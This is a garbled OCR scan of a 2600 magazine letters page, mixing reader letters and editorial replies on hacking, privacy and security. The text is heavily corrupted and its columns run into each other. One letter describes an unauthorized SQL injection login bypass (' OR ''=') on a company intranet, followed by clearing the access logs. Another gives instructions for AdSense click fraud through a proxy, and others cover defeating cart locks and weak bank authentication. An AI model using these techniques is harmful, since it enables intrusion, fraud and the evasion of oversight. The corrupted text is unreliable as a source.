.. port .net/u i log in .srf?id=96 I although you can't go to 
that address d i rect ly for some reason . Log i n ,  and you ' l l  
b e  i n  y o u r  M S N  Hotmai l  i nbox , i n  g lorious m i n i ma l i st ic , 
ad-free. i mage-free sty l e .  Enjoy ! 

Mr. Fairweather 

Dear 2600: 
I was recent ly at a Wal - Mart in Mountain View, Ca l i ­

forn i a  and  I noticed tha t  they  had gotten some sh iny  new 
carts for the customers to push around .  On the l eft front 
wheel of all carts is a very boxy cover that none of the 
other three whee l s  has . On inspection of the new cart 
there i s  a notice that the cart won't go past the yel low l i ne 
in the park ing lot .  I assume that th i s  i s  an attempt to pre­
vent theft of what I'm told are $2 ,000 dol lar  shopping 
carts ( sounds a b i t  h igh , doesn ' t  i t ) . Anyway, out i n  the lot  
I p layed wi th  a couple  of the carts  to try  to determine how 
they knew they were cross ing the ye l low l i ne and inspect­
ing the method of prevent ing movement past ( metal sk id 
drops over left whee l ) .  I found that  the s i l ly  th ings work 
via a s i mple optical sensor tucked under the b ig wheel 
cover that I assume detects the color yel low and engages 
the metal p late to stop the cart from moving forward . 
Does th i s  sound stupid to anyone? A ll you'd have to do to 
avoid the wheel lock engaging is trick  the sensor i n to not 
see ing the ye l low l ine wi th , say. a p iece of tape or a lu ­
m i n u m  f i l m  or a l um inum foi l  over  the sensor or maneu­
ver the cart around the l i ne somehow? Jus t  thought I 'd  
mention th i s  to everyone . I don ' t  expect to ever try i t  as 
Wal -Mart does a very good job of protect ing the i r  assets 
and there i s  no shortage of outside cameras . 

LabGeek 

This mil{ht explain why people have been .Ipotted car­
ryinl{ Wal-Mart I{mcery carts over their heads in the 
parkinl{ lots . fryou really want to calise some mayhem , a 
nice yellow line painted ril{ht next to the store will 
certainly accomplish this . 

Dear 2600: 
A few months ago my w i fe and I flew to Seattle and 

flew standby on an employee d i scounted fami l y  pass ( m y  
brother- i n- law works for U n i ted ) .  Coming home w a s  h e l l  
a n d  I w a s  never a b l e  t o  g e t  on a fl igh t .  I h a d  t o  b u y  a ful l  
fare t icket to get home negat ing any d i scount I recei ved 
going out.  But gett ing back to the poin t ,  we were " se­
l ected " for screen i ng on every fl ight we took . When we 
asked about  i t  we were to ld  i t  was because we were fly ing 
standby - one way. The point  of th i s  note is to te l l  you that 
I noticed that our t i ckets al l  had a row of S 's  on them . I 'm 
fair ly  sure that i s  what ind icated that we were selected for 
screen ing .  

Mike 
This is II fairly new policy from the airlines and one 

we can 't quite understand. If you look at your boardinl{ 
pass and see four S iS,  then you know you 're going to be 
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"randomly " searched. (I" this is really a random search. 
why are they advertisinK it? (I" someone were really ap to 
no KlJOd, what better way.f"r them to back out safely and 
try another time? But more importantly, the way people 
are selected fi" these searches is moronic at  best . People 
are targetedfiir the type '!I" c/othinK they wear, their hair­
style, what kind of ticket they bouKht, or how they paid. 
A ny terrorist is capable "I" easily modifyinK any "I" these 
"danger signs " which completely neKates their validity. 

Injustices 

Dear 2600: 
I work for the postal serv ice as a c lerk . Recent ly  a 

machine I am respons ib le  for lost over $ 1  ,000.00 due to a 
price change on the mac h i ne I don't bel i e ve I made . A 
book of $7 .40 stamps was changed to read 37 cents . 
Stamps and dol lar  coins  were then c leaned out .  I am try­
ing to bu i ld  my defense to keep from hav ing to pay the 
money bac k .  I bel ieve there are probably  handheld ma­
ch ines that can man ipu late stamp vending mach i nes w i th­
out actua l l y  enter ing the machine physica l l y .  A m  I r ight? 
Can you point me toward information about people who 
sel l  such mach ines? I swear I am not  a postal inspector 
try ing to find who broke in to the mach ine .  I am an aver­
age guy who faces the prospect of pay ing $ 1  ,000.00 back 
to the post office .  I bel ieve the post office a l ready knows 
of such mach ines but  won't admit  they e x i st and prefer to 
blame the c lerk s .  

Will 
If we can Ket some more techniml if!iiJrmatioll abollt 

this machine, we 're certain somebody will be able to 
come lip with theoretical (and ill all likelihood actua/) 
methods (1'd�l"eating its security. Is this a lletworked ma­
chine? Does it communicate usinX wireless technology ? 
How are updates supposed to be made ? This is a perfect 
example of why it's important to understand how Ihe lech­
nology works so that Ihis kind 01" unfair Irealmenl 01" ell/­
ployees doesn 't occur. It 's quite possible that printing this 
infc)rmatiofl would result in some security issues . But 
those issues will slill be Ihere even il" we don 't prillt it alld 
innocent people will be victimized because the facts aren 'l 
known . 

Dear 2 600: 
I have noticed that on one of the news channels  they 

said that Congress was wanting to pass an anti-P2P b i l l . 
This freaked me out as we l l  as caused an outrage in thc 
community .  

Just thought you should know. 
Black_Angel 

Even il" lhey numaKe to pull il "IT: we 'd like to know 
how they plan on keeping the rest 01" the world from trad­
ing files . lt's an act '!I"desperation and showmanship from 
people without a clue .  

Dear 2 600: 
In the next  issue of 2600 could  you please acknowl ­

edge t h e  fact t h a t  a l l  the great B i t  Torrent s i t e s  h a v e  been 
shut down? Among the best were SuprNova .org and Tor­
rentB its .org . For the most part , t h i s  was the M PAA's  fau l t .  
They released a statement recent ly about sending cease 
and desist le tters to all I SPs host ing Bit Torrent trackers . 
The M PA A  a lso said they were work ing wi th  law en­
forcement officia l s  i n  the Netherlands to stop eDonkey 
servers and B i t  Torrent s i tes there as wel l .  I can't  bel ieve 
this ever cou ld have happened . This  i s  a very sad week in 
the world of P2P. 

Tcc9mpl 

Dear 2600: 

Why is i t  that e v i l  can only be replaced by those more 
e v i l ?  Jack Valent i  was bad enough but  now Dan G l ick­
man ,  the new M PA A  head , wants to i m pose R I A A  style 
subpoenas . The new Corporate America we see today is 
no longer based on what the general  publ ic wants , but 
rather what i s  i n  the i n terests of b ig business ! The people 
who rea l l y  run the country are the d i rectors of national se­
curity,  big tobacco,  pharmaceutical compan ies ,  but most 
of all mass med i a !  The mass med ia  spreads i ts  propa­
ganda l i ke  i t  was true . Now the only p lace you can go for 
non A merican-biased news is the B B C  or maybe PBS ! I f  
the  M PA A  and  the R I A A  can  throw the i r  we igh t  around 
i n  the leg is lature and the courtroom ,  how i s  that d i tl"erent 
than Al Qaeda in Afghani stan? They are pan ick ing be­
cause people  have another choice rather than to pay out­
rageous  fees for entertainment .  Damned be the DMCA ! 

Monkey M inister 

The whole corporate/media thinK really isn 't all thaI 

new. You shouldn 't be surprised when these entities act 
like this . Tha I 's what lhey're there fl". Inslead, viable al­

ternative,\' need to he encouraged wherever pos.\'ihle . YtJll 
can 't sfop P2P technology nor prevent /he spread (�rllifer­
native media - unless people allow it 10 happen . Also, 

comparinK the MPAA/RIAA to AI  Qaeda probahly won 't 

wind up being the most convincing method (�rKel1ing peo­
ple to see the wisdom (�fyour opinion . 

Dear 2600: 

So I was surfing  the company i ntranct betwecn one of 
many boring tra in i ng  "programs"  ( rcad : busywork ) at 
Qwest ,  and I t(,und a system I had never seen . Be ing that 
I 'm a cur ious person ,  I decided to explore this new sys­
tem . When confronted wi th  a web-based log i n  prompt , I 
al ways have a habi t  of employ ing  a s i m ple SQL inject in  
the user/pass fie lds ,  which i s  s imp ly ' OR " = ' i n  both 
f ie lds .  On a weak systc m ,  th i s  w i l l  mere ly  confirm that " 
does equal " ,  or n i l  equals n i l ,  and let you i n .  Lo and be­
ho ld ,  the system let me i n .  Not only did I get i n ,  but be­
cause the system didn ' t  have a user when I logged i n ,  i t  
gave me the fi rst one out  of  the database , an admin ' s  user­
name . This  gave me fu l l  access to the syste m .  

Being t h e  explorer that I am,  a t  t h i s  point  I poked 
around the system and found that I could do some major 
damage . The system I had found essent ia l l y  al lows or 
l i m i ts each Qwest store , kiosk , and otherwise approved 
Qwest vendor to order stock from our warehouse , or es­
tab l i sh  new telephone numbers , or - and this i s  the most 
comed ic one - estab l i sh a System Message of the Hour, 
which i s  a s imp le  broadcast to everyone i n  Qwest about 
someth ing .  Usua l ly  i t ' s  used tilr tech updates ,  l i ke "SYS­
TEM 208-BOISE i s  down for maintenance" or th ings  of  
tha t  nature . Res ist ing the  urge to supplant someth ing con­
fus ing and/or utterly anarch is t ic ,  I c leared the access logs 
(yes, I could do that too) and logged out . 

Now, I l i ked my job,  so I figured I 'd  ta lk  to my supe­
rior and see what pol icy was for report ing found explo i ts .  
Said superior inqu i red ti" me and asked me for a deta i led 
writeup of said system exploi t  and a threat assessment .  So 
I did.  I certa in ly  wasn't  up for some script k iddie  wi th  a 
l i t t le b i t  of web hack ing knowledge stepping in and 
wreaking havoc i n  the p lace I worked . 

I got i n to work the next day and my superior corral led 
me i nto his office and handed me some idiotic new s .  He 
probed w i thout le t t ing  anyone know who spec i fica l ly had 
found an explo it. Turns out Qwest pol icy is to i m medi-
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atel y  terminate anyone who linds a system exploit  and ti l e  
charges against  the m .  

N o w  l understand t h e  need t o  keep people from abus� 
ing their  proprietary systems and I understand terminat� 
ing people for damaging corporate property. But real ly .  
i t 's  s tup id  to refuse free he lp .  Especia l l y  i f  you're a com� 
pany as messed up as Qwcst.  As ide from the moral 
d i lemma of forc ing  them to fi x the exploit by damaging 
the sy�tem or not , I ' m  paranoid that  lhey may go on a 
w i tch hunt .  Lots of us here read 2(j()!). I make a spec ia l  
tr ip to the next  state over to purchase the magazine .  
Thought mayhe you.  of a l l  people .  would appreciate th i s  
ta le .  

Anyway. than k s .  keep i t  rea l .  etc . 
Citron 

(j' allyolle is /aced �t'ith similar stupidity, re.';t assured 

Ihol .YOU C{{II {{11F{{Ys scnd liS the detoils . \,yhen it /Jecomes 

denr th({1 such s/tor/sightcd poUcies arc resultillg ill lllore 

had I'"h/icity, I'crha/Is tize.\' Irill he chwlg"'/. 

Dear 26()0: 
It fi na l ly  happened 10 m e !  I got repri manded and sent 

home 1i ve hours early today. 
I noted a dysfunction of a piece of crit ical software ,  

security re lated . I t  was supposed t o  b e  "bu l letproof . "  Too 
bad it was fu l l  of ho les .  I made the m i stake of report ing i t  
three days  ago a long wi th  �()me other  major i ss lles I d i s ­
covered � 

I have been going beyond what the c l ient wants and 
n()\\' i t  i s  my i ssue .  They repai red the software and sat me 
down in  front of  it .  I perce i ved i t  was on the developmen­
tal  �erver and not the production server. A contro l it'd en­
v i roll Illent vs .  the open lI ser access server. 

My bo" wimped as usual and he told me if I exh ib�  
i ted too Ill llch know ledge , the c l ient 's  security force 
wou ld  accuse me of hack ing their servers . I had to play 
dumh. When I could Ilot get the database to overwri te an 
ex i st ing entry ,  I said, " Wow I am rea l l y  messed up! I have 
made a hig error here and I am real sorry to cause you any 
trouh le . "  The c l ient\ security/software writer had heen 
running the stutl for years and losing data the whole t ime .  
I was  se t  up al ld  made the fool and  got  docked li ve hours 
pay for f ind ing their  screw-up� ! 

We lcome to P TTruth and Consequences ! "  
waterbny 382 

Dear 260(): 
After seeing Freedom Downtimc.  I was rem i nded 

about the law that states " knowingly and with i ntent to 
defraud uses . produce�,  traffics  i n ,  has control  or custody 
of, or possesses . . .  h ardware or software uscu for altering 
or modify ing  telecolllmun ication� i n struments to ohtai�l 
unauthorized access to telecommun ications �ervice s . "  
Why t h e n  d o n ' t  t h e y  c lose every Radio S h a c k  across the 
nation? This i s  l i ke arrest ing the drug users bUl g iv ing  
bus iness  loans  to the dealers . What ever  happened to the  
t ime when a person wou ld  hui ld  a neat  device , patent i t ,  
and  then  se l l  ie> Now i t ' s  i l legal to  develop better technol�  
ogy un less  you 're a l arge corporation who happens to g ive 
money to the government .  Wel l ,  I 'm done rant ing and rav­
ing for now.  

Ozl 980 

decided to start suhscrihing hack in 2000 . You have a l �  
ways prov ided in terest ing information and commentary. 

A s  a hacker. I helieve as many do that in/(lrmation 
shou l d  be free.  and that there i s  no sueh thing as good in� 
formation and evil  i nformat ion . People make their  own 
choice on how they use i n formation . Nonetheless I ' m  
faced with a wa l l  of ignorance . I have worked as a com­
puter technic ian . programmer, and network admi n i strator 
here at the pri son for many years . With th i s  job cOllle 
many respons in i l i t ies .  not all of which arc technica l . M y  

j o n  provides me with  many opportuni t ies  and benefits  
tha t  I \vou l d  not  want  to have  taken way from me .  Th is  
being the case  I have to keep myself out of trouble and 
keep a low proli I e .  

W h e n  t h e  fal l  issue came out  i n  Novemher I was 
taken by surpri se . Ins tead of getting the issue I got a con� 
trahand s l i p !  The i ssllc was then sent to the reading com­
m i ttee . I don't have to te l l  you how pi ssed I was . A s  usua l  
I kept  my mouth shut and put  m y  mind in  gear. I took the 
wai t  and see approach to see what would happe n .  A few 
weeks went ny and I got my answer. No way l Now I got 
to th ink ing .  I could start fi l i ng gricvanccs and start a la\v­
suit .  at the same time putt ing myself on Front S treet wi th  
a b ig  s ign say ing ,  l P I ' m  a H acker, "  " " m  a Cyber Cri m ina l , "  
'Tm a Terrori s t . "  Or I can keep q u iet and not pul  my joh 
and what l i tt l e  freedom I have l eft i n  jeopardy. I want to 
fight this ignorance and injust ice . B lIt  the th ing i s  I can 
yel l  at the top of my lungs and demand my right to read 
whatever I want . but I can also be eas i l y  d i smissed and 
locked lip and lose the one th ing that has made my l i re i n  
here hearahl e .  Because I ' m  a pri �ollcr. I 'm no longer an 
A merican deserv ing  of the rights mo�t A mericans take for 
granted . 

I know that the DOC is supposed to inform the pub� 
l i sher of its dec is ion to censor your maga/, inc .  I 'm bett ing 
they haven ' t  and th i s  i s  the li rst you've heard of it ' l  

I would real l y  he fa�ci nated in  hearing your pos i t ion 
i s  on th i s  maHer. 

Zucchini 
It's {/ hit (�r{l T OCa/ell 22 " for liS since the more we talk 

({/Jout Ihis, the 1I10r(' prisons n�iect our plfhlicatiofl . lJllf ({S 
it 's clear/y (UI issui' for (/ nlfmber (�j'I'('()l'le , {he facts de­
sert'(' to he spread. 

\Vc did r('('eire {/ rtjccfioll l 1oficejl'olJl your institution 
along with ([ I 1UI11/Jcr (�r o/hers . The (�jfi('illl reOS(}1I givell 
W{{S Oiel1 lire pllhlico/iol1 depicts illegal ({clivi/ics contrary 
to security illleresfs (�r the faci/iI.". 1 1  (Su/JslillfIC the �vord 
l'c()Ur1lry Tl ./()r ':f{lcilay ll (lml you may he looking at the lu­
lure .) 

,Some (�rth(' more specific descriptiolls include fhej()/­
lowing: I ICol1tains threats or plans (�r crimi1lal activit\'; 
Violates or concerns plansfor activities ill t'io/at;ol1 (�r{j](J 
Cllde IIr Pen(// Disci/,/il1e;  Is in code (/Ild/or nol Ullder� 
stood hy the reader; Contains i1d()rmation that cOllsti­
tutes a potential dat/Rer to a human heinR or threat to the 
security and order (d the fl/cility, This includes gang re­
lated acth'ity, RallR signs , or gllflg related (letiFitv: Con­
tains material that could create racial tensioll H-,ithin the 
fiwi/ilr. " 

We 've heen accused (�r lots (�r lhinRs ovcr the ycars 
hut some (�l lhese are new evcn j(Jr liS. It \" flot surprising 
that they Ihink we 're f({lkinR in code: SOIllC (�f our con­
cepls (�r ./i'ce thoughl }vould certain(v appear aliell to 

Dear 2600: prisOIl KII(/rcis. 
I fe l t  you should be informed ahout what is happen� III the end lhere iSIl 't much we call do IIlher than pllb� 

ing here at the Colorado Department of Correct ion s .  1 licize their actions .  American prisons llre horrible places 
have hecn a long t i me reader of your magazine and to he stuck in and the authorities there llre ahle to ReI 
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away with a huge amount "f rights abuses . We wish you 

luck even though you most likely won 't be allowed to read 
these words. 

Observations 

Dear 2600: 

OK . you're creeping me out w i th the subl i m i nal  cover 
art . At  first I had thought I was ha l l uc i nat ing due to work­
ing too many hours for the man when I saw the word 
Honor on the cover of 2 1 :  I . It was lay ing on my desk and 
the soul  suck ing fl uorescent bulbs crossed i t  just  r ight .  So 
I scampered back to my local B&N' s  to check the other 
covers , yet they were sold out.  So now when I p icked up 
2 1 :2 and the word Obey appears I feel s l ight ly  better that 
all the covers have i t  on the m .  Only now I'm concerned 
that someth ing is happen ing to my beloved 2600. Then I 
real ize that the G u inncss and the 7- 1 1  burrito at 4 am are 
making me paranoid and you freaks are just  doing it to 
see if people are paying attent ion . Or are you? 

Need sleep or more G u i nness . 
Narcess 

Given the right tools , there 's no end 10 what you cal1 

see . 

Dear 2600: 

I jus t  fi n i shed watch ing your movie Hackers and was 
compel led to write about its greatness . Too often in the 
commerc ia l  media do hackers get a m i s lead ing or out­
r ight fict ional portrayal .  Thank you for sett i ng  the record 
straight on the crimes comm i tted against  Zero Cool and 
h i s  associates .  Not s ince the movie Masterminds has such 
an accurate depict ion of real  hacker cu l ture and ethics 
been avai lab le to the ma instream publ i c .  Hopefu l l y  peo­
ple w i l l  start to rea l ize that d i sk  swapping i s  not just i n ­
sert ing  d i sk 7 of 9 ,  but actua l ly  an exchange of part i a l l y  
copied garbage fi les i n  steamy a l leys  by skateboard . No 
longer wi l l  the general  publ ic  stereotype u s  hackers as 
pocket protector wearing gee k s ,  but recogn ize us  for the 
high fashion phrcaks we tru ly  are ! The only compla int  I 
have is that you reveled the solut ion to defeat one of our 
best v i ruses:  the cookie monster. Anyhow, keep u p  the 
good work , and if  you ever make a sequel  try to get 
Matthew Bright write the script . 

Hack the P lanet . 
Dr. Ultra Doom Laser 

We sense a warehouse (�l sarcasm here .  Regardless, 
you ought to be talking to Hollywood, not us . 

Dear 2600: 

Coug h .  https : //64 .80 . 1 7 .45/. Some may know - some 
may not . 

.: LOG I X : . 

Dear 2600: 

Thanks to of a l l  p l aces B arnes and Noble I can get a 
copy of 2600 loca l ly .  I a l ways love read ing  about l i t t le 
tidbits of unsolved mysteries about companies and some 
type of explo i t  that they offer us  by acc ident .  I n  Northern 
Cal iforn ia there i s  a ce l l  phone company that charges by 
the month a flat fee of $35 a month to call around your lo­
cal  ca l l i ng area .  I t ' s  $48 .99 a month to get al l  the bel l s and 
w h i st les :  voicema i l , three-way cal l i n g ,  u n l i m ited nat ion­
wide cal l ing ,  etc . They offer no cred i t  checks ,  contracts , 
etc . I bel ieved they p iggyback off of Sprin t .  I 've  had their  
service for a year now and whi le most peop le say i t  suck s ,  
i t ' s  n o t  bad t o  never have a n y  overage charges a n d  t h e  ser-

M i n t e r  Z O O ll - Z O O S  

v ice i s  actual l y  pretty good . They are ca l led MetroPCS 
( http ://www.metropcs .com ) .  Metro also has serv ices in 
Florida and Georg ia .  

The  on ly  th ing  i s  i t  w i l l  a sk  for your  credi t  card , or  
you  can  prepay if  you're roaming or want  to cal l Hawai i ,  
Alaska,  o r  out of the country. I have two accounts wi th  
Metro , one w i th a Kyocera KX43 3 . 1 t  seems to be a good 
entry leve l  phone , gets great reception , etc . I also have the 
famous K yocera S l ider ( S E47 ) .  This is a rea l l y  high tech 
phone .  It has lots of great features and lots of people are 
pretty intr igued when I s l ide i t  out . I 'd recommend th is  
phone any day. 

Now here i s  where i t  gets very i n teres t ing .  Occas ion­
a l ly  I would  be try i n g  to d ia l  someone and i t  wouldn ' t  
q u ite go through . To my surpr ise I 'd  get a d ia l  tone .  Now 
wai t  a m i n ute ! What the heck i s  a d ia l  tone doing on a ce l l  
phone? Wel l ,  somehow their serv ice h a s  a g l i tch and you 
can drop to d ia l  tone . Now I know I don't have m uch t ime 
un t i l  I ge t  the  recorded operator on the  other end te l l ing  
me to hang u p  and t ry  agai n ,  so I would t ry  to d ia l  out ,  but 
s ince I 'm on a d ig i ta l  phone i t  doesn ' t  work . When you're 
on d ia l  tone , the phone company l i stens for certain  tones 
( DTMF) to te l l  i t  where to d ia l . D ig i ta l  cell phones just  
don't send out the r ight sounds .  I f  I on ly  I could find my 
o ld Radio  Shac k  phone dia ler. 

So I fina l l y  decided to sit down and see how I can get 
th i s  dial tone . A l l  the times I got it, i t  was by acc ident .  To­
day I had cal led a bus iness and gotten an answering ma­
chine. When I hung up, I got d ia l  tone .  So I dec ided to cal l 
my house and let  the machine get it. Kept hanging up .  
Noth ing .  Now I tried someth ing d ifferent .  I cal led my  
house and  when  the  answering mach ine  came on , I h i t  the 
ta l k  button repeated ly .  To my surpri se ,  I got a dial tone .  I 
can get it every t ime .  

I jus t  thought I 'd write i n  and  g ive  fe l low readers l i ke 
myse l f  someth ing cool to read about .  Now if someone i s  
brave enough to take th is  art ic le to t h e  n e x t  l e v e l  I 'd love 
to read about that .  

Ryan 

That next level may very well he the realization that 
man}' phones return 1 I  fake dial tone when initiating a 

three-way ("(/1/ which in most cases is done hy hitting the 
talk hutton while connected to the first call. What doesn 't 
make ,\'(!Ilse ill this scenario is why you couldn lt dial out. 

Dear 2600: 

I know that people have been try ing  for a long t ime to 
put a name to mal ic ious computer users . Many names 
have been u sed for these people . . .  hackers , crackers , etc . I 
am s ick of t h i s .  There is on ly  one name f()r mal ic ious 
users :  Cri m i n a l s .  Hackers arc not good peop le ,  hackers 
are not bad people . The fact i s  hackers arc people .  People 
need to stop try ing to label every mal icious person out 
there with one t i t le and label them by the cri me .  Keep up 
the good work . 

CSIN 
It 's  a hit  of a xenerllli�:ati(}11 to a.\'SUIne that eVer)'lJne 

who docs something malicious is a "criminal. I I  For in­

. ..,'Iance , we consider the demonizinJ{ (�r hackers 10 /Jp a 
malicious act .  But we dOIl 't lahel the people who do lhis 

as criminals . We lahel them liS dimwits . 

Dear 26()O: 

For those of you who have been b lessed to get the 
new T-Mobi le  S idekick I I ,  there seems to be an i nterest­
ing Easter Egg that I /ilUnd . For those of you who don't 
know what an Easter Egg is,  i t  i s  a h idden message , .:/ 
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tun�,  and/or feature emhedded in some type of media 
( hooks ,  v ideos , Illus ic ,  software , etc . )  

The  S idekick I I  comes with someth ing cal l ed the 
"download /,one . 1 I I t  i s  here where users can download ap­
pl ications and r ing tones for free or for a one time cost . If 
you go to the download zone and v iew all the app l i cat ions 
offered to dovvn l oad , you w i l l  notice that you can dowil­
load a ca lcu lator for free . A fter you download the ca lcu la­
tor your handheld w i l l  d i sconnect ihelf  and reboot 
al lowing the ca lcu lator to insta l l  i tse lr .  

Here i s  where the Easter Egg l ies .  When you scro l l  
through y o u r  handheld's current software , each is repre­
sented by an icon and a b igger icon to the left in the G li i .  
When you look a t  the bigger icon t o  the left .  you ' l l  notice 
that Oil the calcu l ator's d i sp lay the image reads 1 1 3 1 337 " 

(o ld  school haxor spe l l ing of "e l i te " ) .  You can type 3 1  Tn 
in the Gongle search engine and fi nd various arch i ves 
dedicated to exp la in ing  the hacker talk phenomeno n .  Co­
inc idence'! I don't th ink  so. 

TOneZ2600 

Dear 26IJIJ; 
Started ll s i ng Google Adsense several months iJgo . 

Here's someth ing  that a l l  webheads should know -
lawyers l i ke to get c l ients , espec ia l l y  on cases where they 
know that their ouds of w inn ing are very good . For that 
reason a lone.  l awyers rc({lIy spend a lo! on Google  Ad­
sense words l i ke asbestos , cancer. or mesothel ioma.  etc . 

Mesothe l ioma pays out h ig we're tal k i ng l i ke 20 
c l icks can get you ncar one hundred do l lars ! Here 's  an­
other neat  th ing to know: i f  you s ign up v·/ith the Gong-Ie 
search thing via Adsellse and put the search on your s i te .  
you can search for those h igh pay ing words and c l i ck  on 
the fi rst Gongle  ads that come up on the search anu then 
you can pu l l  up  the keywords that you want to when you 
want . not hav ing to wait for the ads to rotate up to your 
s i te for c l i ck ing . I f  you are us ing a proxy server to do a l l  
of that , i t ' s  poss io le  t ha t  i t  may  be  a l i tt le  harder for them 
to fol low your If' address back to you I 

Please note that some folks  overdo th i s  or do it stu­
pidly and get the ir  account shut dowll . but i f  you are care­
fu l .  you can succeed at th i s  pretty proli tahly li)r the Ion!! 
term . Never thought that l awyers would be h l l i ng your 
pockets with c,,,h for free d id  ya' )  

jeff affiliate 

And SOI1lChOH' we still dOI/ 't . 

Dear 2600; 

In 2 1 : 3 a .texas te l "  aoout how he was ahle to board a 
p lane wi th  a Photoshopped h igh  school 1 0  and passport . 
Recent ly ,  I went to a wedd ing in a d i fferent state but I had 
no type of I D .  I cal led the a irl i nes and asked them about i t  
and thcy told me al l  I had to say was " I ' m  lInder 1 8 " to gel 
past all the 10 checks . l  asked them what i f  I l ook over 1 8 ,  
and they said i t  doesn' t  matter. Sure enough , I got onto 
three d i fferent planes w ithout any 10 at a l l .  I I' they upped 
the security after 9/ I I ,  I would hate to sec what i t  was be­
fore . 

Freakker 
}(n{ lre assllfJl ill� f/zaf presellfing 01/ IL) somehow 

Illakes things more secure .  1 1  relll/v is a fririal hflnllcj(J( (/ 
determined persol1 to get past (/nd it (dicll whu/s up calfS­

ing illt/ocellt pcople to be scrlffini;.ed 1I11I1ccess(lrily. 

mal changes you'd ;:x pccL inc lud ing a Ilew hank hy 
phone password , and a new on l ine  bank ing account nU ITI­
her and pass . 

I needed to pay some h i l l s  on l ine  today. hut was un­
able to authenticate to the d n l i nc account  ( they reCOlll­
mend Netscape or IE because of  the superior security ! ) .  
A nyway, I ca l led their  to l l  free n umber l i sted (800A4R-

776R ) ,  entered my Soc ia l  Security N umber, chose the on­
l i ne bank ing  opt ion ,  and then spoke to the first person to 
ans\ver and exp la ined my i,-.suc .  The level of authentica­
t ion veritlcation was aston i sh ing .  After the person l i s­
tened to my problem and even took the t ime to check and 
te l l  me my account  was I/o/ locked out, she promptly con­
fcrenced me i nto an automated attendant who asked me to 
enter my SSN and i mmed iate l y  prompted me to change 
my PI N .  Wow, that was easy. I don't suppose all of the i m ­
pl icat ions are ohviou s ,  out t h a t  very same P I N  a l l o w s  m e  
I'u l l  access to t h e  on l i ne account s i nce the SSN i s  the ac­
count numher to logi n !  As  'wel l ,  that g i ves fu l l  access to 
the bank by phone syste m ,  etc . 

Wh i l e  I don't advocate subvers i ve act iv i t i e s .  ( ' Ill ap­
pal led by the l ack of I'u rther security ident i l ieation re­
qu i red to access my account  (they never even askl'd me 
my name) and fel t  ob l igated to expose th i s  so cal led Se­
cure On l i ne Banking I nst i tut ion . I mcan , how bard i s  i t  to 
get someone's name and an SSN after a l l ?  I n  today\ day 
and age of ident i ty theft .  i t ' s  hard t o  bel ieve jus t  how s im­
ple i t  real l y  i s .  What  a joke . 

Hoser 

Dear 2600; 

As a web developer. I spend a lot of t ime dea l ing  wi th  
credi t  card safety. Il 's very frw. ,trating to me to sec how 
c"l'va l ierly sens i t ive data gets treated by low-grade cm­
ploy,'ees .  One of our c l ient 's  employees emai led U� an Ex­
cel spreadsheL'l of con rt.-'relll"e attendees so we cou ld  make 
namc lags . Not on ly  did the fi l e  conta in  credi t  card num­
bers , out Soc ia l  Security N umbers , the b i l l i ng  address ,  
"nd credit  card cxp iration date . l t l s  a good rem i nder of 
how the weakesl l i nk  i n  security i s  a l\vays the human ele­
men t .  

Josh 

Dcar 260IJ; 

I \-vas pu l led over today hy a Westminster, Colorado 
pol ice officer for exp ired plate s .  I had no idea my p lates 
were exp ired nor did I sec a renew card come in the ma i l  
a.s they  usua l ly  do.  But I had  no problem wi th  the officer 
g iv ing  me the t icket . It was my respons ib i l i ty to make 
sure the p lates arc legal and that I had paid my renewal 
fee . After the ofhcer had written the t icket and was ex­
p la in ing  my i nfraction , he asked me for my employer 
name , employer phone numher, occupat ion , and my So­
cial Security N u m ber. I was l ine giv ing out my employ­
ment i n format ion ,  but 1 real l y  don't l ike giving out my 
SSN to anyone that  uocsn't  lIeed i t .  I asked h im i f  i t  was a 
requ i red piece of i nformation to process a small fine. He 
said that i t  was needed by the court system to ident ify m e .  
I thought t h i s  w a s  k ind of weird because he h a d  my l i ­
cense p late numher a n d  he had my dri vcr\ l icense num­
ber, but ji)r some reason he needed my S S N .  I to ld  h im ( in  
a pol i te and respectfu l tone ) I was not comfortable wi th  
h i m  tak ing  my SSN,  and that  the information he had was 

Dear 2600; more then enough to ident ify me. He said I d idn ' t  have a 
M y oid F i rst Savi ngs Bank was bought oy Prov ident choice . I don't  th ink I should have to g ive out  that k i nd of 

Bank carl ier this year, and \\lith that comes al l  of the nOf- information to anyone to write dow n ,  espec ia l l y  \A,!hcn i t ' s  
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read i l y  avai lable through the Department of Motor Veh i ­
c l e s .  I guess I don ' t  have a choice . 

OveRHaulT 
Arvada , CO 

Of course you have a choice . }(JU are not required fo 
carry a Social SCClIritv ClIrd. And. last we checked, it was­
n 't a crime to forxef your Social Security Numher. The 
rest you can work out.  

Dear 2600: 
Someth ing very scary happened at my p lace of bus i ­

ness today. I work at a sma l l  computer store i n  Tampa.  
Nothing  b ig ,  just a smal l mom and pop p lace that  fi xes 
Macs and PCs .  Someone came i n  and i ntroduced h i mself 
as a senior computer analyst who works for the Depart­
ment of Homeland Security.  H e  said that our company 
was in  a unique pos it ion to see " sens i t ive n data on peo­
p le ' s  computers and wanted to know if we had seen any­
thing unusual late ly .  When we tried to probe the matter 
further as to what would be " anyth ing unusual " he 
avoided the quest ion tota l l y  - but i t  was pretty obvious as 
to what he meant or at least what I thought he meant:  any­
thing wri tten in  Arabic  or something to do with bombs or 
terror i sm . The scary th ing i s  the agent said if  we ever 
came across someth ing  that we thought they should have 
a better look at , they cou ld  have someone over to our 
store wi th in  20 m i n utes to c lone the drive and bring it 
back to their labs for further i nvestigation with no war­
rants ' It seemed l ike  I was the on ly one th i s  scared the 
hell out of. We have govern ment agents wanting to look 
at people 's  hard drives and when I told others about th i s  
they  just brushed i t  otf and said that th i s  i s  the  wor ld  we 
are l i v i ng i n  today and cal led me crazy for th ink ing twice 
about i t .  I do not care what I ti nd on someone's computer 
when I am try ing  to fi x  i t  - i t  i s  none of my bus iness and i t  
should be none of the government 's  bus iness e i ther. Sad 
that th i s  i s  the beg inn ing  of the end of privacy. 

00 
We 're well beyond the hel(inninl( . ll we 're ever to start 

moving in the other directiol1 , we 'll need lots more people 
like you watchilll( out fiJI' and reportinl( any ahuses like 
this . Be sure to get as much information from these people 
as you possih(v clin hefore making it clear lhal you have 
110 intention ol cooperatilll( with them . And then be sure 
and report this "",;uspiciou,\' activity " to anyone who will 
listen .  

Dear 2 600: 
Project Gutenberg has a bunch of d igita l  books (and 

some other stutf l i ke audio offerings) offered for folk s  
jus t  l i ke u s .  One  of  m y  favorites i s  Terminal Compromise 
which  is avai lab le  at http://www.gutenberg .org/etext!79 . 
However, after a qu ick  g lance , I noticed that it was the 
79th text ever added to the database if  they log them 
c hronologica l ly  by the l ast c haracters of the ir  URLs . I en­
